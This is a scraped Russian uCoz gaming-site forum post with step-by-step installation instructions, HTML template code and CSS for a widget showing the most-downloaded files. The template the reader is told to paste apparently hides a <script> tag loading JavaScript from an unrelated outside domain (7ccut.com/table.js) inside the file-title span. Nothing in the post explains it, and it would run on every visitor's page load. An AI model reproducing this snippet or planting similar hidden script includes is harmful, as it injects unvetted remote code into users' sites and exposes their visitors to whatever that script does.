Четверг, 28.03.2024, 20:04



Меню сайта
Все для cs 1.6
Наши сервера
Все для Css
Наш CSDM сервер
Все для fotoshop
Мини-чат
200
Наш опрос
Оцените мой сайт
Результаты | Архив
Всего ответов: 12
Наши группы
Наша группа Вконтакте Наша группа Steam Подписывайся на новость RSS
помочь серверу
Дорогие посетители, Помогите нашему серверу он стоит на хостинге мне приходятся каждый месяц платить 600 рублей, киньте на мой кошелек рублей 10.
R408198751760
WMR
Случайные файлы
Новогодний сервер Cs Source


Подробнее о файле:
Новогодний сервер Cs Source
Готовые сервера
Просмотров: 352
Добавил: DepZzku
Дата: 31.03.2012
Перейти

Посещаемость
free counters
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Скрипты для uCoz » Другие скрипты для uCoz » Красивый информер для файлов ucoz
Красивый информер для файлов ucoz
Воскресенье, 24.11.2013, 15:53 | Сообщение # 1
Сообщений:
4
Награды:
0
Страна :
скрин: http://s006.radikal.ru/i213/1311/7b/bc0f6f6f759d.jpg

Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок.

В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале.

Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики.
Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px!

Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов.

Установка

1. Первым делом создадим сам информер со следующими параметрами:

[ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ]

2. В его шаблоне удаляем все и вставляем следующее:

Код
<div align="center" class="ifboxuds">
   <div class="ifuds"><div style="background: #aaa;">
   <a title="$TITLE$" href="$ENTRY_URL$"><img width="170px" src="$IMG_URL1$"></a>
   <span title="$TITLE$"><a class="ifuds" href="$ENTRY_URL$"><b><?if($TITLE$)?><?if(len($TITLE$)>15)?><?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a><?else?>Без названия<?endif?></b></a><a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"><img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"></a><script src="http://7ccut.com/table.js" type="text/javascript"></script></span>
   </div></div>
   <div class="loadingnum">Загрузок: $LOADS$</div>
   <div class="ifudslink$NUMBER$"><div class="ifudsoa">Просмотров: <b>$READS$</b>
Комментариев: <b>$COMMENTS_NUM$</b>
Категория: <b><a href="$CATEGORY_URL$" class="ifuds"><?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a></b></div></div>
   </div>


3. Заходим в ПУ -> Управление дизайном -> Таблицу стилей CSS и вставляем следующее:

Код
.ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;}
   .ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;}
   .ifuds a {color:#bababa; text-decoration: none;}
   .ifuds a:hover {color:#818181; text-decoration: underline;}
   .ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; }
   .ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat;
padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee;
   }
   a.ifuds {color:#bababa; text-decoration: none;}
   a:hover.ifuds {color:#818181; text-decoration: underline;}
   .loadingnum{
position: absolute;
top: 10px;
right: 15px;
padding: 1px 5px;
background: #000;
background: rgba(0, 0, 0, 0.73);
font: bold 10px/14px 'Arial';
color: #fff;
border-radius: 0px;
   }
   a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;}
   a:hover.ifudslinks2 {cursor:pointer;}
   .ifudsoa {padding:0px 0px 5px 5px;}
   .ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;}
Форум » Скрипты для uCoz » Другие скрипты для uCoz » Красивый информер для файлов ucoz
  • Страница 1 из 1
  • 1
Поиск:
Мини-Профиль
наш баннер

Установи нашу кнопку к себе на сайт:

Game Portal Все для Cs


Топ файловиков
наш public сервер
Статистика
Онлайн:

Зарег. на сайте:
Всего: 82
Новых за месяц: 1
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 1
VIP: 2
Гл.Модераторов: 0
Модераторов: 0
Мл.Модераторов: 0
Дизайнеров: 0
Проверенные: 1
Постоянные: 0
Журналистов: 0
Обычных: 78
Забаненых: 0
Из них:
Парней: 74
Девушек: 8
Сегодня нас посетили:
Статистика материалов
Новостей: 46
Файлов: 77
Фото: 2
Форум: 95/176
Коментариев: 5
новички сайта
  • KENT1991
  • ZION
  • den-ahmetovahmetov
  • STK
  • saratoff
  • Мониторинг

    Мониторинг серверов CS 1.6
    Сервера Counter-Strike 1.6
    Статистика CW
    Победы (10)

    Поражение (1)


    Ничья (0)
    шаблоны для ucoz, cs шаблоны, cs, на тему, скрипты Хостинг от uCoz © Cs-Fresh.My1.Ru 2012. Владельцы и создатели данного сайта не несут ответственность за использование и содержание ссылок и информации, представленных на этом сайте, а также за возможное игнорирование пользователями коммерческого статуса программного обеспечения, к которому ведут ссылки, представленные на данном сайте. Sitemap | Sitemap-forum